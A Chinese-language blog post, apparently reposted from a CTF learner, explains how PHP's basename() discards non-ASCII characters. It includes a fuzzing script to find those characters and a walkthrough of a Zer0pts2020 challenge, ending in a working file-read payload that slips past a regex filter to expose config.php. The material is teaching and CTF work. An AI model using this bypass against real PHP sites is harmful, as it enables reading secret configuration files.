basename()繞過小結


basename()

定義和用法

basename() 函數返回路徑中的文件名部分。

語法

basename(path,suffix)

參數 描述
path 必需。規定要檢查的路徑。
suffix 可選。規定文件擴展名。如果文件有 suffix,則不會輸出這個擴展名。

例子

<?php
$path = "/testweb/home.php";

//顯示帶有文件擴展名的文件名
echo basename($path);

//顯示不帶有文件擴展名的文件名
echo basename($path,".php");
?> 

輸出:

home.php
home

繞過原理

basename繞過最早出自於basename broken with non-ASCII-chars報告,大致意思是:

With the default locale setting "C", basename() drops non-ASCII-chars at the beginning of a filename.
在使用默認語言環境設置時,basename() 會刪除文件名開頭的非 ASCII 字符。

測試代碼:

<?php
$file = $_GET['file'];
echo basename($file);

返回結果:

http://localhost/?file=%ffindex.php/%ff
//index.php
http://localhost/?file=%ffindex.php
//index.php
http://localhost/?file=index.php%ff
//index.php
http://localhost/?file=index.php/%2b
//+

利用這個特性我們可以編寫腳本fuzz出會被basename忽略的字符,先測試一下URL編碼:

<?php
highlight_file(__FILE__);
$filename = 'index.php';
for($i=0; $i<255; $i++){
    $filename = $filename.'/'.chr($i);
    if(basename($filename) === "index.php"){
        echo $i.'<br>';
    }
    $filename = 'index.php';
}

返回結果:

ascii值為47、128-255的字符均可以繞過basename()
其中47對應的符號為'/',在實際場景中沒有利用價值
那么也就是說我們可以利用一部分不可見字符來繞過basename()
同時,在測試中也可以發現中文字符也是可以繞過basename()
例如漢字、?、《、》、;等中文字符

例題

[Zer0pts2020]Can you guess it?

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if (hash_equals($secret, $guess)) {
        $message = 'Congratulations! The flag is: ' . FLAG;
    } else {
        $message = 'Wrong.';
    }
}
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
    <input type="text" name="guess">
    <input type="submit">
</form>
</body>
</html>

重點關注:

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}

preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF']) 這個正則匹配了 config.php/ 為 $_SERVER['PHP_SELF'] 的結尾,我們可以在config.php/后面加上不可見字符污染來繞過正則匹配
題目的考點在於highlight_file(basename($_SERVER['PHP_SELF']));
這里存在一個任意文件讀取的漏洞,但是前提是需要source值存在,這里的技巧在於:當我們傳入index.php/config.php時,仍然請求的是index.php,但是當basename()處理后,highlight_file()得到的參數就變成了config.php,從而我們就實現了任意文件包含。結合上面的特性,我們可以構造出payload:
/index.php/config.php/啊?source

在鶴城杯2021 EasyP題目中也是同樣的方法,只不過傳遞的參數變成了show_source,用.或者[就可以將參數傳過去,老Trick就不過多贅述了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM